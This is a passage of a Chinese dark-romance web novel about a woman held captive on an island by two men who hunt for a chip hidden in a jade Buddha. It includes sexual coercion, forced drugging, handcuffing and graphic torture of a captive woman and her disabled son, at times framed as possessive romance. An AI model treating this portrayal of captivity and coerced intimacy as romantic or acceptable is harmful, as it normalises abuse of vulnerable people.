为的,就是录下视频,在周景行面前揭露出,她是一个水性杨花的女人,让周景行对她失望。
见江无渡唇角压抑的开心,秋榕榕问道:“我们可以去坐直升飞机看日落了吗?”
他点头:“走吧。”
秋榕榕上了直升机,她从高处往下看,发觉这座岛屿其实离大陆并不远。
她隔着舷窗看云层中玫瑰金与冷蓝交叠,晚霞像是正在燃烧的油画,斑斓地在天空中层层晕染,是她在陆地从未见过的盛景。
那一刻,她突然放松下来。
哲学家尼采说过,凡不能杀死我的,必使我更强大。
秋榕榕渴望平静的生活。
她因周景行的人刻意的围猎感到痛苦万分。
但今日看着窗外落日晚霞,见证天地辽阔,她想起伏的山脉是大地的疤痕,江河湖泊是大地的眼泪,炙热的晚霞是流淌出的鲜血,而缓缓落下的太阳是即将熄灭的心脏。
这一切覆盖在地表上,再壮大绚丽,也仅仅是世界最表层的一部分。
一千年,一万年,沧海桑田过后山川也能平复,江河也能干涸。
正如秋榕榕现在坎坷的遭遇,如凿如锤,覆盖在秋榕榕的表面,摧毁她,也塑造她。
秋榕榕身处泥泞之中,但最终她会走出去,现在所遭遇的一切都会过去,等将来再回头看,也只是她人生的一部分。
她还是她,不会因多了几道疤痕就寻死。
世界也还是世界,不会因裂开几条峡谷就毁灭。
周景行回来后,江无渡果真把他单独叫出去。
这天,他们聊了许久。
周景行回房间时,秋榕榕刚刚洗完澡吹过头发,她坐在床边盘着腿喝睡前牛奶,嘴唇叼着吸管,牙齿咬着吸管前端等他训话。
借口,她已经想好了。
只要他开口,她就立刻痛心疾首地控诉自己的无奈。
周景行一句话都没有说。
他忽然一把抱住她,力道大得像要把人嵌进骨头里,然后一口咬住她肩上的软肉。
秋榕榕一阵吃痛,皱了眉,却正好看见周景行垂眼看她,眼底翻涌着红,像雪地里唯一盛放的玫瑰。
“这几天你们相处得倒是愉快,他怎么对你的,你今天晚上一件一件做给我看。”
这话说得像是吃醋。
秋榕榕迟疑地问道:“嗯……全部吗?”
秋榕榕在想,那自己要不要去踩周景行的脸?还是趴在他身上睡整夜?又或者是吃他用嘴渡过来的食物?
江无渡控制秋榕榕吃饭睡觉上厕所,也有过很多亲密举动,但他没有上过她。
他对她的爱抚投喂,更像是针对一个宠物兔。
周景行应该不喜欢这样吧。
他不会像江无渡那种神经兮兮地去舔她,也不会把手指伸进她的口腔里抚摸她的牙齿和舌头根部。
对比下来,只要周景行不动用装满倒贴的密码箱,秋榕榕还是和他相处更融洽一些。
见秋榕榕目光闪烁,周景行捏住秋榕榕下巴,强迫她抬头看他,“全部。”
秋榕榕耳尖发烫,“行吧,那你去找江无渡去借那个兔子玩偶服,他收回去了,我这里没有。”
周景行深深地望着她,让她感到压抑。
秋榕榕摸不透他的心思,原先准备好的说辞,因为他没有发难,现在也用不上。
新鲜感是短暂的。
自从来到小岛修养身体后,周景行没再和她上床。
她已经没办法再生小孩,身上也没有他需要的情感寄托,就连恨意也走到了尽头,他却还留着她,像是留下一件只会占地方的老物件。
“要不……你下单其他风格的?”
别说穿兔子服,只要别把她送给江无渡,让她穿奥特曼服陪床都行。
“你们还做了什么?”
“江无渡不都录下来了吗?你可以自己看。”秋榕榕做归做
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,但让她一件一件讲出来,她也觉得羞耻。
“你想跟他吗?”
终于问到这一句了。
秋榕榕立刻顺溜地说出之前想好的话。
“不想,我不喜欢老男人,我喜欢年纪和我差不多的,你千方百计把我从封锁区带回来,是为了把我留在你的身边吧?
我已经一无所有,过去你所憎恨的人一个又一个惨死在你的手下,现在活着的,除了我,只剩下谭松和周阿姨。
周阿姨潜逃在外,谭松属于沈砚川,只有我,是你的战利品。
让我作为你的战绩,留在你的身边吧,哥哥。”
这一大段话是秋榕榕背下来的。
她在心里反复演练无数次,为的就是在此刻挽留他。
脖子上戴着微型**,秋榕榕无处可逃。
她现在最重要的就是活下去。
和坏人比命长。
活到他们多行不义必自毙的那一天。
秋榕榕这番话说得情真意切,抬起头却对上周景行浅浅笑容下漆黑死寂的双眸。
他不喜秋榕榕揣度他的心思。
江无渡告诉周景行,秋榕榕是在谁手下都温顺的女人,只要是谁威胁她的性命,她就能雌伏在谁的身下。
毫无原则,毫无骨血。
甚至可以根据对象不同,更换讨好的手段。
周景行看见视频里,秋榕榕穿着江无渡母亲遗留下的兔子玩偶服,隐藏在心底里的那一抹不愉快。
当时,江无渡对他说:“你若只当她是无关紧要的玩物,便把她也分享给我,你可以放心,我不会把他当成女人,只会把他当成兔子。”
江无渡不会和秋榕榕做到最后一步。
周景行知道,但看着秋榕榕穿上兔子玩偶服后,还是非常的不舒服。
有一种原本属于自己的东西被改造后的异样感。
他不喜。
于是,他说:“我和她已经办过婚礼,她由我处置,你别再插手。”
“处置?”江无渡咧开嘴笑,“那个孩子生化后,你没有按照约定把她杀死,反而把她带出国。
周景行,你是不是觉得,**一个小孩,她身上的债就清了?”
第137章 芯片
“周景行,不够,所有人都是到死亡才结束,你不能给她例外。”
周景行破坏了约定。
在秋榕榕失去那个孩子后,他们三人就决定,秋榕榕的赎罪结束,她所承受的痛苦已经足够,可以送她**了。
周景行毫不犹豫开了一枪,却没有杀死她。
把秋榕榕带出国,是周景行的主意。
他甚至留在这座交通并不算便利的小岛。
圈养她,却又没想清楚,他到底想从她这里得到什么。
“是你帮沈砚川在沈氏集团站稳脚跟,他念着你的恩情。只要是你的决定,他都支持。”
江无渡一脸闲适地弹了弹手中的烟灰,“留下她,也确实造不成什么威胁。但你对她心慈手软了,这比留下她的性命更危险。”
周景行把窗户打开,淡淡地说道:“我已经把秋榕榕的假行踪透露给周红霞,从徐家拿回的翡翠玉佛里少了芯片,周红霞便是为此事寻来,明天我就带她出去,给她们创造单独见面的机会。”
翡翠玉佛是周家遭遇不幸的源头。
这尊价值两亿的玉佛是周景行的父亲从国外拍卖回来的。
他们并不知道这个玉佛里面还藏着远超玉佛价值的芯片。
那个芯片里有一个名单。
名单里记录着世界上许多重要人物的丑闻。
他们也是在最近才查到,当年的火虽然是秋家、谭家和周家放的,但他们三家只是胆大妄为的小蟊贼,能做出**放过的事,却没有本事炸毁消防车进来营救的公路。
他们没有**。
炸公路的事情不是他们做的。
还有一伙更专业的国外势力,同样也是冲着翡翠玉佛而来。
因为跨国不好行动,他们迟了一步,没能拿到翡翠玉佛,只能暂时撤退,同时掩埋了他们来过的踪迹。
周景行和江无渡谈正事,就好像这才是他留下秋榕榕的原因。
“你会后悔的。”
“我不会。”周景行对秋榕榕所做的每一次恶,都是理智下的选择。
他没有一次是冲动。
所以他不会后悔。
“你会后悔留下她。”江无渡摇摇头,觉得自己作为年长者,已经劝诫过他无数次,他不听,江无渡也没有办法。
周景行抿着唇,是劝诫?还是私心?
江无渡一口一个小兔子叫着,在他忍不住给秋榕榕穿上那件兔子玩偶服的时候,他也是存了别样的心思。
江无渡觉得周景行心软,被秋榕榕迷惑了心智。
而周景行又何尝不觉得,江无渡一而再,再而三地讨要秋榕榕,也是被她蛊惑,想要占为己有。
这天夜里,周景行没有告诉秋榕榕他是否会把她送出去。
他只是把她按在床上,一次又一次地占有她。
他让她为当年的大火忏悔。
又重复了好几次他不会后悔。
秋榕榕胡乱点头应着。
直到最后,他捧着她的脸,有些丧气地说道:“他们说得对,我不应该把你留那么久。”
秋榕榕不敢说话了,她把呻吟之路硬生生憋回去。
她绝不碰危险线。
“我应该把你送出去。”他在劝说自己。
秋榕榕连连摇头,撑起身子亲了亲他的唇角,“你走到今天这个地步,就是为了让自己称心如意。
我又对你构不成什么威胁,你既然不愿意把我送给别人,就顺着自己的心意。”
黑暗中,周景行温柔缱绻的双眸下是挣扎与纠结。
他拨开她额前的碎发。
明明眼底的虚伪一眼可见。
周景行却还是觉得她说的没错。
他已经拿到自己想要的,有了如今的权势地位,他连**都能够逃脱审判,留下秋榕榕而已,没什么大不了。
秋榕榕从来不会去触他的眉头,和他攀谈感情。
她用的都是他给她的理由。
什么活着才能赎罪,她现在一无所有构不成威胁,作为战利品留作纪念之类的话。
周景行以前以为秋榕榕愚钝,现在看来她挺聪明。
就连失去孩子这件事情也提都不提一句。
他频频回顾。
她却不回头看。
第二天,秋榕榕早晨吃了三颗钙片,把披散的头发盘起来,穿了件稍微厚一点的夹袄。
陌生的咖啡厅,秋榕榕按照周景行的要求,坐在那里一边喝着咖啡,一边等待着周红霞和她联
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系。
周红霞戴着帽子,口罩和大墨镜坐在她的对面。
“秋榕榕,我是你周阿姨。”周红霞紧张地拉下口罩后,对她说:“这里不是聊天的地方,你跟我来。”
秋榕榕看了一眼门口监视的人。
她松了松自己脖子上的围巾,露出里面的项圈。
周红霞看见项圈后,愣了一下。
秋榕榕受制于人,今天来到这里没有选择。
但周红霞帮过她一次,她不想恩将仇报。
露出项圈,是提醒她有危险,让她迅速离开。
但是,周红霞并没有立刻离开这个是非之地。
“你可真是个好孩子。”
“可惜,可惜了!”
周红霞像是下定了什么决心,突然暴起,从手中的布包里拿出枪对准秋榕榕的额头,面目狰狞扭曲,恶狠狠地说道:“秋榕榕,翡翠玉佛的线索就断在你这里,当年就是你的父母把翡翠玉佛卖给徐家的。
卖到徐家之后,玉佛里的东西就消失了!那东西必然是被你的父母藏了起来,他们现在**,你就是最后的线索!”
秋榕榕看着漆黑的枪口大惊失色。
她从板凳上站起来,失手打翻了桌上的咖啡杯。
“周阿姨,冷静点,我不知道你在说什么。”秋榕榕举起双手,想要慢慢往后退。
他们现在所在的国家不禁枪。
其他客人尖叫着从咖啡厅里跑了出去。
秋榕榕知道,周景行在附近安排了狙击手。
“你别开枪,这里还有其他人,我如果**,你也活不了。”
“我不杀你,我要你跟我走。”周红霞冷笑一声。
下一秒,窗外的狙击手突然开枪打中了周红霞握枪的手。
“砰——”
枪掉落在地上,转了一圈。
秋榕榕听到**之后就吓得腿一软蹲在地上。
魂都快吓飞了。
她还以为周红霞的枪走火了呢。
见周红霞的枪掉了之后,秋榕榕赶紧趴在地上先一步把枪捡起来。
她有枪了!
秋榕榕大脑飞速旋转,她看着周景行从外面带着人走进来。
电光火石间,她用枪抵住了周红霞的脑袋。
第138章 遗产
一把枪,多么好的机会。
秋榕榕紧紧地抓着这把有**的枪,冷水渗出掌心,她因为兴奋浑身都在颤抖。
一把枪,就可能是一个活路。
她就是不死心。
只要看见机会,就想试一试。
周景行见秋榕榕能在这种环境下快速地劫持周红霞,不免露出赞赏的神色。
“把人给我。”他笑着对秋榕榕伸出手,以为她在帮他。
秋榕榕摇头。
她不会因为被驯养就变得忠诚。
“乖。”
“我不要!”
她其实没有使用过**,对于枪的概念也仅限于电视剧中,所以她不知道,未经训练单手**,手是承受不住开枪时的后坐力的。
这把沉甸甸的枪在她的手中,令她的声音都变得高昂,“周景行,你把我脖子上和四肢上项圈的钥匙给我,放我自由,我就把周阿姨给你。”
被枪抵着脑袋的周阿姨冷笑一声。
笑秋榕榕天真。
周景行脸上的笑意淡下去,他收回手,说道:“榕榕,你学坏了。”
“我只求自保。”
“我就算是解开你的项圈,给你一辆车让你离开,你是黑户,也没有办法独立生存。”
“离开我,你连饭都吃不起。”
他折断她的翅膀,不给她翱翔的机会。
秋榕榕想走。
一个没有身份的无国籍人士,获得不了任何公家的帮助。
刚才一切发生的太突然,秋榕榕没办法想得太长远。
她只是看见了这把枪,就想把这把枪握在自己手里。
“那你别来找我啊,你拿着你想要的东西走,我自己去补办身份,我自己一个人生活。”秋榕榕急切地想要脱离他们的掌控。
她不想再回到那个小岛。
在那个岛屿上,连佣人都不会和她多说一句话。
只有无边际的海洋将她包裹住。
秋榕榕太想回到正常的生活中。
没身份,可以想办法补办。
身无分文,可以寻找慈善机构帮助。
再怎么样,也比做他们的禁脔好很多。
周景行声音淡了几分,“可你昨天还说,谢谢我留下你,你会永远留在小岛上满足我的一切要求。”
“是啊,今天我又变了。”
如果周景行不带她出来,如果秋榕榕没有拿到这把枪,她确实准备这么做。
毕竟一种情况有一种活法。
但现在情况变了。
秋榕榕深呼一口气,稳住拿枪有些发酸的手腕,用枪口顶了顶周红霞的脑袋:“你来和他说,那个翡翠玉佛里藏的东西为什么在我身上?”
周红霞捂着受伤滴血的手腕,痛得冷汗直冒,嘴唇发白的哑声道:
“当年,秋家那个**把翡翠玉佛卖了,我们分了钱,那天喝了酒,她说……她临盆在即,偷偷留下了贵重的东西,要送给未出生的孩子……”
“我以为她只是顺手藏了点金饰。没当回事。”
“直到我流落国外,被你们这群疯狗逼得走投无路,又被玉佛真正的主人找上,我才知道,那**把翡翠衣服里最贵重的东西偷走了!她欺骗了我们所有人,是我们中间的叛徒!”
周红霞面部扭曲,那双眼睛都是被背叛的怒火和恨意。
这些年,周红霞可以成功躲避周景行的追查,全是因为翡翠玉佛真正的主人要找到当年遗失的芯片。
周红霞不知。
那人就折磨威胁她。
周红霞在绝望和恐惧中会想起当年的喝酒事件,她推测那个芯片很可能被做成其他饰品的形状,被秋家送给了他们唯一的女儿。
她记起那晚喝醉后秋家夫人含糊说的那句话:“我有私心,给孩子留了点……独一份的宝贝。”
所以,周红霞哪怕知道周景行在找她,要杀她,她也会冒着生命危险回来找秋榕榕。
为的就是用芯片换取巨额的财富和自由。
秋榕榕不记得自己的父母给自己留过什么东西。
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她的父母勤俭节约,妈妈身上连一样像样的黄金首饰都没有。
更别提留给秋榕榕了。
他们给秋榕榕留下的,就一座老旧的房子。
后来,秋榕榕需要钱治疗心理疾病,把房子卖掉,当时带出来一堆不值钱的破烂,秋榕榕翻找过,并没有什么东西能被称作“宝贝”。
听懂来龙去脉之后,秋榕榕和周景行谈判,“我要的特别简单,你放我一马,从今以后不要来找我。
作为交换,我把周阿姨交给你,你们去找我父母留下的东西,那箱子破烂我一个都不要,空手离开……”
“否则呢?”周景行并不受秋榕榕威胁,他唇角轻扬,黑沉沉的眼睛胜券在握,“你敢动手**吗?”
“枪在我手里。”
“你不敢。”周景行笃定她不会行此极端,“你不会真的动手**,更不会自尽。
周红霞如果**,你作为**凶手也不会有未来。
这里异国他乡,你没有摆平凶案的能力。
和我谈判,你没有筹码。”
秋榕榕努力挺直背脊,可她的肩膀早就因为他的话垮塌。
“如果我存了死志?”
下一秒,周景行对着秋榕榕的脚边连开数枪,**打在地板上,围着秋榕榕绕成一个圈。
秋榕榕僵在原地,她的脚像是被焊死在地板上,膝盖微微发颤,几欲瘫软。
那**贴着她鞋边擦过的热浪还没散尽,一缕灼人的余温攀上她的脚踝,明明隔着裤腿,她却觉得自己的脚腕火烧火燎。
耳边轰鸣,她听见自己血液逆流般的心跳声。
下一秒,她和周红霞一起瘫软在地上。
她们两人身上都被打入了麻醉针。
“我都说了你不敢。”周景行慢慢走到她的身边,俯下身,伸手摸了摸她的脸,然后把枪从她的身边踢走,“想要谈判有效果,你得先像我这样直接开几枪。
害怕吗?
现在,我们可以好好谈判了。”
第139章 妹妹
麻醉针令秋榕榕说不出话来。
周景行弯腰,将眼神迷离的秋榕榕从地上横抱起,她黑色的长发如瀑布般垂下,一只手瘫软无力的搭在腹部,另一只手随着他行走的动作轻轻摆动。
“果然不该再让你接触外面的世界。”
人质一旦察觉到自己的价值,就容易变得胆大妄为。
周景行恼怒秋榕榕刚才反抗的行为,但她所做的一切,又在他的意料之中。
他们之间的关系在这里。
她有机会,就想着逃跑,也算不得什么错处。
这笔账可以稍后再算。
她身上,还有其他价值。
周景行把周红霞关进别墅的地下室里。
秋榕榕此时正瘫软在餐桌上,像是没有通电的玩偶。
国内,谭松联合姜雨薇坚持调查秋榕榕假死的事情,还真让他们把火烧到周景行身上。
只可惜,“周景行”是一个虚假的人,他相关的一切都是空白,国内的产业被移出国之后,他在国内的痕迹也随之消失。
谭松就算怀疑周景行对秋榕榕不利,也没有证据。
麻药渐渐恢复。
秋榕榕渐渐有了知觉。
她看见江无渡抓走周淮远。
江无渡揪着周淮远的头发,想要把他拖进地下室里。
“疼,妹妹……我好疼……”
周淮远自从没有办法正常吃肉之后,日益消瘦,他以前肥胖得像是一块黄油堆起来的肉山,现在却消瘦得像是枯草。
他智力低下,能够感知到痛苦,却无法把痛苦说出口。
都欺负他,因为他是傻子,最好欺负。
被人打了,都不知道如何指认凶手。
可是再笨蛋的人,凭借本能也能感知到,谁是对他好的那个人。
他嘴里一直喊着“妹妹”。
也不知道是那个从小陪他长大,被埋在花坛里的妹妹。
还是秋榕榕,这个没有任何能力救他的,没用的假妹妹。
江无渡要伤害周淮远,他像是待宰的羔羊尖叫着,哭泣着。
路过餐桌的时候,周淮远两只手乱抓,正好抓到秋榕榕的衣角,把麻醉刚刚失效的秋榕榕从餐桌上整个拽了下来。
哐当一声。
秋榕榕摔在木地板上。
她用舌尖顶了顶上颚。
身上酸麻的感觉逐渐退去。
秋榕榕也找回自己的声音。
“江无渡,他就是一个自闭症患者,话都说不利索,你抓他做什么?”
“真可怜,摔地上了。”
江无渡暂时松开抓着周淮远头发的手,蹲下来,帮秋榕榕捏捏发麻的小腿,“兔兔,你麻醉刚恢复,需要及时按摩防止下肢静脉血栓。”
“我来帮她。”周景行走进来。
江无渡立刻识趣地松开手,他把双手摊开,对周景行笑着说道:“我只是捏一捏兔兔的小腿,放心,不会少一块肉。”
周景行向秋榕榕伸出手,秋榕榕犹豫了一下,还是把手搭着他的小臂,借力站起来。
秋榕榕视线一直停在地上抱着头瑟瑟发抖的周淮远身上。
她祈求道:“周淮远就是一个傻子,你们就算打他,他也说不出个所以然来。”
“他是周红霞的儿子。”周景行把秋榕榕扶到沙发上坐着,“周红霞逃了那么久,既然落到我们手里,当然要给她一些教训。”
在一个母亲面前伤害孩子,就是他们口中所说的教训。
“周红霞抛弃了周淮远。”秋榕榕搭在周景行手腕上的手指微微收紧,“周家夫妇出国的时候,并没有带上周淮远,你折磨周淮远,并不会让周红霞感到心痛。”
“不试试怎么知道?”
“可……”
“榕榕,你身上的账,我暂时还没有和你算,别再为其他男人求情,哪怕是傻子也不行。”
秋榕榕未说完的话卡在喉咙里,只能硬生生又吞了下去。
夜里,秋榕榕听见地下室里传来一阵又一阵凄惨的叫声。
周淮远那一声又一声的“妹妹”如刀子般在她的心口上凌迟。
在这座荒岛上,秋榕榕无人陪伴时,她借着照顾周淮远,为自己寻点事情做,不要胡思乱想。
久而久之,秋榕榕也是打心底里把周淮远当做半个家人。
和痴傻的人相处也挺好的。
简单,没有那么多弯弯绕绕。
秋榕榕翻来覆去睡不着。
其实在睡觉之前,周景行已
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经惩罚性地和她做了一次,秋榕榕不动情的时候身体干涩,他也不舒服,最后草草结束,除了疼痛疲惫什么也没有留下。
秋榕榕身体已经累到极致,但精神上无法入眠。
这个别墅比起最初的那个,隔音设施做得不太好。
惨叫声声入耳,周景行又不允许她求情。
“别再乱动。”周景行白天是需要工作的。
交际应酬耗费心神。
带着秋榕榕去和周红霞见面,是他百忙之中抽出的时间。
晚上带他们回来后,秋榕榕等麻药退去的那一段时间,周景行还去应付了一场饭局。
他酒量一般,为了**生意能够谈成,多喝了点酒。
又因为需要给秋榕榕一个教训,喝完酒后明明没多少兴致,还要硬撑着和她发生关系。
周景行现在感觉太阳穴一跳一跳的,只想好好休息。
偏偏这里的隔音层没做好,伴着惨叫声勉强可以入眠,但秋榕榕又在他旁边翻来覆去,惹得他不能好好休息。
“江无渡不会杀了周淮远吧?”
周景行懒得回她。
她现在自身难保,还有心情去担心别人。
她还不如担心一下她自己。
“我想下去看看。”
“你真是……”周景行从床上坐起来揉了揉脸,蓬松的头发因为睡觉未打理有些乱糟糟。
他打开床头柜,从里面拿出一板药片,从中间抠出两片,放进秋榕榕的手心里,命令道:“吃下去。”
“这是什么?”
“**。”
见秋榕榕不动,周景行又将药片拿了回来,捏着她的下巴,大拇指从嘴巴里按进去,掰开后直接将两个药片塞进她的喉咙里。
太干了。
紧接着,周景行含了一口床边摆放的水,贴上她的唇,快速的将水渡给她,让她咽下那不知名的药品。
“咳咳咳……”秋榕榕想抠着嗓子吐出来。
周景行反剪她的双手,用**铐好,然后直接用被子蒙住她的头。
很快,秋榕榕感到昏昏沉沉。
惨叫声离她远去。
周景行闭着眼睛摸台灯,枕边人的呼吸逐渐均匀,他终于可以安稳的睡一觉。
第140章 小七
周景行喂秋榕榕的吃**。
吃完**之后,秋榕榕的感觉并不是困乏,而是迷迷糊糊,她感知不到外面的世界,意识衰退,比起睡过去,更像是晕厥,等到第二天醒来之后,秋榕榕依旧感觉到疲累。
她醒来的时候还是保持着被**双**在身后的姿势。
“哥哥,帮我解开。”
周景行并不在屋子里,她喊了好几声也没人回应。
秋榕榕只能保持着这个别扭的姿势从床上挪下去,拖鞋被踢到了床底下不容易拿,秋榕榕光脚下楼。
客厅无人。
门外有佣人正在修剪着花圃。
那些佣人不会和秋榕榕多说一句话,他们在白天出现,晚上离开,就像是固定刷新的NPC。
通往地下室的通道打开着。
秋榕榕沿着漆黑森冷的通道往下走,通道边缘镶嵌着墙灯。
一路前往地下二层。
秋榕榕闻到浓烈的血腥味。
“该招的都招了,人在极端痛苦的情况下所说出的话才具有可信度,小七,把那些刑具从他们身体里拿出来清洗干净。”
说话的是周景行。
江无渡打了个哈欠,伸懒腰,“审了一夜,累死我了。”
“你上午休息一会儿。”
“嗯,剩下的交给你。”
江无渡起身,正好看见从上方下来的秋榕榕,“兔兔,早上好。”
“呃……早上好。”
秋榕榕看见江无渡的衣袖和双手上都是鲜血,不敢再往前走。
江无渡见秋榕榕双眸中流露出恐惧,张开自己血淋淋的手,有些嫌弃地说道:“昨夜玩得尽兴,弄脏了。”
这些血太脏,江无渡不会用脏手摸秋榕榕,他侧着身体,从秋榕榕的身边走过,避免鲜血蹭到她的睡衣。
“怎么下来了?”周景行用湿巾擦拭手上的鲜血。
他将染血的湿巾扔进垃圾桶里,走到秋榕榕面前。
“我睡醒了,没看到你,就下来找你。”
周景行拿出钥匙,将秋榕榕背后的**打开。
那名被称作小七的少年就站在周景行的身后。
他皮肤黝黑,头发和瞳孔都是深棕色,年纪看起来很小,那双不安分的眼睛好奇地打量着秋榕榕。
秋榕榕下来的时候穿的还是单薄的吊带睡裙,小七的眼睛落在秋榕榕身上后就未离开。
周景行介绍道:“这个是小七,之前从游轮上买下来的。”
沈砚川曾经提到过,游轮上会贩卖孤儿,培养成**或者私兵,对外出售。
小七应该就是其中一员。
“夫人好。”小七舔了舔唇角,喉结滑动,极为明显地吞咽口水。
秋榕榕冲他点了点头。
“周淮远他……”秋榕榕想进去看看周淮远的受伤情况。
“那边都是血,脏。”周景行抬起一只手,挡住她的去路,“他没死,等我让人处理好之后会让你见他。”
可秋榕榕现在已经听不到周淮远的呻吟声。
流了那么多血,周淮远肯定受很重的伤。
秋榕榕捏着拳头,踮起脚尖想再看上一眼。
“小七,送她上去。”
“遵命。”
小七谄媚地弯下腰,抬起一只手指向离开的方向,“请吧,夫人。”
秋榕榕看着周景行背对着她的身影,似是心意已决,她也不能再说什么,只能转身离开。
回去的路,秋榕榕走在前面。
小七亦步亦趋地跟在她的身后。
他离得有些近。
秋榕榕停下脚步开门时,他刻意撞了上来。
她似乎感到身后之人深吸了一口气。
然后,传来很轻的声音。
“夫人,好香。”
秋榕榕怀疑自己是否是幻听,她有些震惊地回过头,却见小七还是那副谄媚又恭敬的表情。
“夫人为何停下来?”
秋榕榕拉开和他的距离,有些冷淡地说道:“别用这个称呼,听起来很奇怪。”
小七笑起来,他的脸上有两个很可爱的小梨涡,“这是尊称,我不能对你不敬。”
秋榕榕神色平静地问道:“你是什么时候跟在周景行身边的?”
“最近。”他回答。
秋榕榕出神想,那
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就是上一次从游轮上买下来的。
“怎么?小七往前走一步靠近秋榕榕,他比秋榕榕还要小上好几岁,个头也和她差不多,“夫人好像对我很感兴趣。”
“这栋别墅里,没几个人愿意和我说话,你算是其中一个。”
小七棕色的眼珠子转了转。
“那我以后可以多陪陪夫人。”
秋榕榕只是点头,但没有太把他的话放在心上。
和他交好,只是以后为了侧面打探周景行等人的行踪。
秋榕榕回到房间换衣服。
出门后,她发现小七人在门口守候。
见到秋榕榕,他说道:“夫人,周总请你下去。”
回到客厅,秋榕榕看见双腿已断,头发散乱的周阿姨正瘫软地趴在笼子里。
地上摆满了秋榕榕父母留给她的遗物。
其实这些东西也算不上遗物。
都不值钱。
零零散散,有小时候的玩偶,钥匙扣,发夹,还有一些老旧的衣裳。
这些遗物散落满地,全部被破坏掉。
玩偶中间的棉花被抽出来,衣服全部裁开,就连那些装饰品也被摔得稀巴烂……
他们把秋榕榕在国内出售的房子买了下来,用大锤把整栋房子的墙面都拆除,也没有找到藏匿的芯片。
“在哪里?”周景行已经逐渐失去耐心。
周阿姨一直摇头,惊恐地说道:“没有,真的没有……奇怪……怎么会没有呢?”
她忽然抬起头,睁着充满血丝的眼睛瞪着秋榕榕,用食指指着她,“你是他们的女儿,一定是你把那个翡翠吊坠藏匿起来了!”
周景行和江无渡同时看向秋榕榕。
秋榕榕摊开自己的双手,“我的一切都在你们的手中,这衣服也是你们给我的,你说的那个翡翠吊坠我确实没有印象,但我愿意配合你们把那个东西找到。”
周红霞高声叫喊。
“不对!那个翡翠吊坠绝对在你的身上!她说过,说过要把宝贝留给自己的女儿,你作为他们的女儿,怎么会没有那一块从翡翠玉佛底下抠出来的翡翠吊坠!”
第141章 幻觉
秋榕榕轻蹙眉,她努力回想周阿姨口中的翡翠吊坠,随后轻轻摇头说道:“我的爸爸妈妈确实没有给我留下过这样一件东西。”
周景行和江无渡都跟人精似的,她这种事不敢说谎。
“也有可能不是吊坠,就是一块大拇指指节大小的翡翠,可能被做成其他首饰,你再想想,再想想!”周红霞语气急促,若不是她双腿受伤,现在估计已经扑过来揪着秋榕榕不放。
芯片就藏在那一小块翡翠里。
而那一小块翡翠,原本就镶嵌在玉佛底部的位置。
秋榕榕的母亲将玉佛卖给徐家时,发现这底部的玄机,便偷偷抠下来,想要留给自己的孩子。
秋榕榕垂着眸,也不接话。
周景行走到她身边,握着她的指尖低声哄道:“你再仔细想想,若是找到我要的东西,我便不计较你之前**威胁我的事情。”
他连生气都很理智。
可以不当场发作。
先把人带回来,再在合适的时机秋后算账。
秋榕榕蹲在地上,把那些被破坏的东西一一摆好。
那个玩偶从三岁有记忆起便陪伴在秋榕榕身边,现在肚子里的棉花被掏空,纽扣做的黑眼珠掉下来。
那些收集的小卡片,一眼就能看清卡片中间没有藏东西,他们却偏偏还要把卡片撕开。
还有那个当年撒娇,求爸爸在公园里买的纯银手链,也扯断变形,上面的星星歪歪扭扭挂着,已经无法再佩戴。
……
江无渡在旁边看着,揶揄道:“兔兔生气我们把她父母留下的东西全部弄坏了。”
他能一眼看透她的想法,只是因为他也经历过母亲的重要遗物被火焚烧殆尽。
那九十二封信件,被熊熊烈火付之一炬。
还有那么多封还没有拆开。
回忆就这样消失在火焰中。
江无渡不遗余力地刺激她,“你爸爸妈妈留给你唯一的房子也被破坏了。”
“那个房子我已经卖了,你们买回来再破坏,那是在浪费你们自己的钱。”
物是死的,人是活的。
那些旧物虽然承载着回忆,但如果今天他们不拿出来,秋榕榕也只会把这些东西收回箱子里。
她没有时时拿出,怀念过去的习惯。
“想起来了吗?”周景行将秋榕榕手中断掉的手链扔掉。
这么简单的款式,他可以用黄金给她做一款新的。
“没有,也许他们还没有来得及把东西给我就被你们害**,那翡翠吊坠说不定就藏在我以前的家里。
你派的那些人回去找,过于的粗暴,只会砸墙和掀开木地板,不如把我带回国,让我亲自找,说不定就能找到你们要的东西。”
秋榕榕用了两个“说不定”和一个“也许”,足见她内心多么的没底。
“让你去趟人多的咖啡店,你就敢握着枪让我放过你,若是带你回国让你拿到芯片,你肯定又会动逃跑的心思。”
他的眉眼温和沉静,任何时候都会带着一点浅淡的笑意。
声音低低的,毫不留情地戳穿秋榕榕心里所想。
只有周阿姨连连说这不可能。
“我敢保证那个东西他们一定给你了!你妈妈刚把你生出来的时候,我打电话向她报喜,她提了一句翡翠保平安!这块翡翠一定就是从玉佛底下抠下来的!”周阿姨的声音几乎是撕破喉咙喊出来的。
她跌坐在地上,头发散乱,脸上鲜血与泪痕交错,双腿弯曲着拖在身侧,骨节不成型,呈现诡异的角度弯折。
秋榕榕没说谎,也不会说谎。
周阿姨酷刑加身,也不敢说谎。
既然他们两个说的都是真话,那当年那个翡翠吊坠又去了哪里呢?
江无渡的手指轻轻敲打着沙发的扶手。
“我都说了……我知道都已经全部都告诉你们……我只是……我只是想活着而已。
求你们……就把我当成一条狗养在身边!我不能回去……没有拿到翡翠吊坠,我回去只是死路一条!
把我留下来!我用我的性命发誓做你们的马前卒!只要你们给我一条活路,我保证你们指
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哪里我打哪里!”
周红霞怕了。
她的儿子疯了,女儿**,丈夫也变成一块烂肉,埋在地里生蛆。
但周红霞还想活着。
“放心,翡翠吊坠没有找到之前我们会留你一条性命。”江无渡点燃起一支香烟,夹在指尖吸了一口,然后走到周红霞面前,弯下腰,将香烟按进了她的一颗眼珠子里,“之前打伤了我们这么多手下,嗬嗬嗬,现在想给我们当狗,怕是没这个资格。”
周红霞发出惨烈的尖叫声,秋榕榕想往后退,却被周景行按住腰肢动弹不得。
他在她耳边低声道:“你看,活着其实也没那么好。”
他们逼着秋榕榕把接下来的事情看完。
结束之后,秋榕榕受到惊吓立刻大病一场。
她躺在床上,耳朵嗡鸣不止,额头高热滚烫,眼前总是时不时出现鲜血的颜色。
朦胧间,她又听见熟悉的声音。
「不怕,你的遭遇相比起他们都幸运许多。」
秋榕榕躲在被子里,两层厚被子浑身发烫,她却还是觉得寒冷。
身上冷汗涔涔。
她躺着,眼皮像灌了铅,听耳边的温柔软语,艰难地掀开了一道缝。
她仿佛看见巨型翡翠佛像不停地膨胀,突破天花板,却没有破坏任何构造,只是越来越庞大,朝着四面八方延展开,沉默无声地占据了秋榕榕所有的视野。
佛像低垂的眼睑缓缓睁开,没有悲悯,没有慈悲,只有古老遥远、俯瞰尘世的漠然。
她为什么没有佛像!
